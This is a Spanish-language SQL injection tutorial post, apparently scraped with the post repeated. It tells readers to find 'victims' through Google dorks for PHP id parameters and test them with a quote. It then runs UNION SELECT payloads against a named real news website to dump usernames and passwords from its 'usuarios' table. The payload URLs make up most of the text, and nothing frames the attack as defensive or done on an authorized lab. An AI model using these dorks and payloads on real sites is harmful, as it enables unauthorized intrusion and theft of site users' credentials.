Tutorial sql injection

Hahahahaha estaba haciendo uno pero muy bueno<br />se me fue la luz<br />y no guardo pero hice este espero ser especifico en todo<br /><br />....<br /><br />Bueno are un ejemplo mas facil para que entiendan bien este tutorial!!! de mi brother Zero Bits<br /><br />Primero que todo saludos a los hackxCrack<br />y principalmente a mi team Venezuela [R00t] Team<br />Je bueno vi que algunas personas no entendieron el tutorial de mi bro se los explicare<br /><br />Primero que todo busquemos una victima<br /><br />Yo la buscare alazar...<br />Vamos a google colocamos<br /> noticias.php?id= notas.php?id= videos.php?id= etc...<br /><div style="text-align: center;"><img alt="" border="0" src="http://img18.imageshack.us/img18/4124/81141265.jpg" style="width: 510px; height: 156px;" /><br /></div><br />nos saldran varias paginas en mi caso les pondre una de ejemplo =)<br /><br />Bueno despues que entren a una de ellas<br /><br />en mi caso consegui esta<br /><a href="http://www.diariopuerto.com/noticias.php?id" target="_blank">http://www.diariopuerto.com/noticias.php?id=</a><br /><br />a lo ultimo para ver si es vulnerable ponemos el '<br />quedaria asi<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id" target="_blank">http://www.diariopuerto.com/noticias.php?id=</a>'<br /><br />Nos saldra el siguiente error si es vulnerable<br /><img alt="" border="0" src="http://img7.imageshack.us/img7/7076/53738052.jpg" /><br /><br />si nos sale ese error quitamos el ' y agregamos lo siguiente:<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9</a><br /><br />Asi hasta que nos tire los numeros en mi caso me tiro<br /><br /><img alt="" border="0" src="http://img7.imageshack.us/img7/9345/97131128.jpg" /><br />les quedaria algo asi como en la imagen <img alt="Cheesy" border="0" src="http://www.hackersdelocos.com.ar/foro/Smileys/classic/cheesy.gif" /><br /><br />a uds les podria tirar 1 2 3 4 5 6 7 etc... jejeje por hay es donde sacaremos el user! y la pass!<br /><br />Luego de esto vamos a lo ultimo y colocamos +from+usuarios<br />o usuario o email emails mails mail etc...<br /><br />a mi me quedo asi <a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios</a><br /><br />Luego saquemos usuario y pass<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+usuario,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+usuario,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios</a><br />Se dan cuenta que cambie el 1 por usuario?<br />Bueno eso lo hago para que me tire el usuario luego se daran cuenta que les saldra el usuario =)<br /><br />Para sacar la pass quitamos usuario y ponemos lo siguiente<br />concat(usuario,0x3a3a,pass)<br /><br />quedaria asi<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+concat" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+concat</a> (usuario,0x3a3a,pass),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios<br /><br />Si con pass no les agarra intenten con password o clave , contraseña , claves etc....<br /><br />aca nos dara pass y user <img alt="Cheesy" border="0" src="http://www.hackersdelocos.com.ar/foro/Smileys/classic/cheesy.gif" />

• 
• 
• 
• 
• 

1. 1
2. 2
3. 3
4. 4
5. 5

• Previous
• Next

Tutorial sql injection

Hahahahaha estaba haciendo uno pero muy buenose me fue la luzy no guardo pero hice este espero ser especifico en todo....Bueno are un ejemplo mas facil para que entiendan bien este tutorial!!! de mi b…

Leer más »

Tutorial sql injection

Hahahahaha estaba haciendo uno pero muy bueno<br />se me fue la luz<br />y no guardo pero hice este espero ser especifico en todo<br /><br />....<br /><br />Bueno are un ejemplo mas facil para que entiendan bien este tutorial!!! de mi brother Zero Bits<br /><br />Primero que todo saludos a los hackxCrack<br />y principalmente a mi team Venezuela [R00t] Team<br />Je bueno vi que algunas personas no entendieron el tutorial de mi bro se los explicare<br /><br />Primero que todo busquemos una victima<br /><br />Yo la buscare alazar...<br />Vamos a google colocamos<br /> noticias.php?id= notas.php?id= videos.php?id= etc...<br /><div style="text-align: center;"><img alt="" border="0" src="http://img18.imageshack.us/img18/4124/81141265.jpg" style="width: 510px; height: 156px;"><br /></div><br />nos saldran varias paginas en mi caso les pondre una de ejemplo =)<br /><br />Bueno despues que entren a una de ellas<br /><br />en mi caso consegui esta<br /><a href="http://www.diariopuerto.com/noticias.php?id" target="_blank">http://www.diariopuerto.com/noticias.php?id=</a><br /><br />a lo ultimo para ver si es vulnerable ponemos el '<br />quedaria asi<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id" target="_blank">http://www.diariopuerto.com/noticias.php?id=</a>'<br /><br />Nos saldra el siguiente error si es vulnerable<br /><img alt="" border="0" src="http://img7.imageshack.us/img7/7076/53738052.jpg"><br /><br />si nos sale ese error quitamos el ' y agregamos lo siguiente:<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9</a><br /><br />Asi hasta que nos tire los numeros en mi caso me tiro<br /><br /><img alt="" border="0" src="http://img7.imageshack.us/img7/9345/97131128.jpg"><br />les quedaria algo asi como en la imagen <img alt="Cheesy" border="0" src="http://www.hackersdelocos.com.ar/foro/Smileys/classic/cheesy.gif"><br /><br />a uds les podria tirar 1 2 3 4 5 6 7 etc... jejeje por hay es donde sacaremos el user! y la pass!<br /><br />Luego de esto vamos a lo ultimo y colocamos +from+usuarios<br />o usuario o email emails mails mail etc...<br /><br />a mi me quedo asi <a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios</a><br /><br />Luego saquemos usuario y pass<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+usuario,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+usuario,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios</a><br />Se dan cuenta que cambie el 1 por usuario?<br />Bueno eso lo hago para que me tire el usuario luego se daran cuenta que les saldra el usuario =)<br /><br />Para sacar la pass quitamos usuario y ponemos lo siguiente<br />concat(usuario,0x3a3a,pass)<br /><br />quedaria asi<br /><br /><a href="http://www.diariopuerto.com/noticias.php?id=-1+union+select+concat" target="_blank">http://www.diariopuerto.com/noticias.php?id=-1+union+select+concat</a> (usuario,0x3a3a,pass),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+usuarios<br /><br />Si con pass no les agarra intenten con password o clave , contraseña , claves etc....<br /><br />aca nos dara pass y user <img alt="Cheesy" border="0" src="http://www.hackersdelocos.com.ar/foro/Smileys/classic/cheesy.gif">

• 
• 
• 
• 
• 

1. 1
2. 2
3. 3
4. 4
5. 5

• Previous
• Next

Tutorial sql injection

Hahahahaha estaba haciendo uno pero muy buenose me fue la luzy no guardo pero hice este espero ser especifico en todo....Bueno are un ejemplo mas facil para que entiendan bien este tutorial!!! de mi b…

Leer más »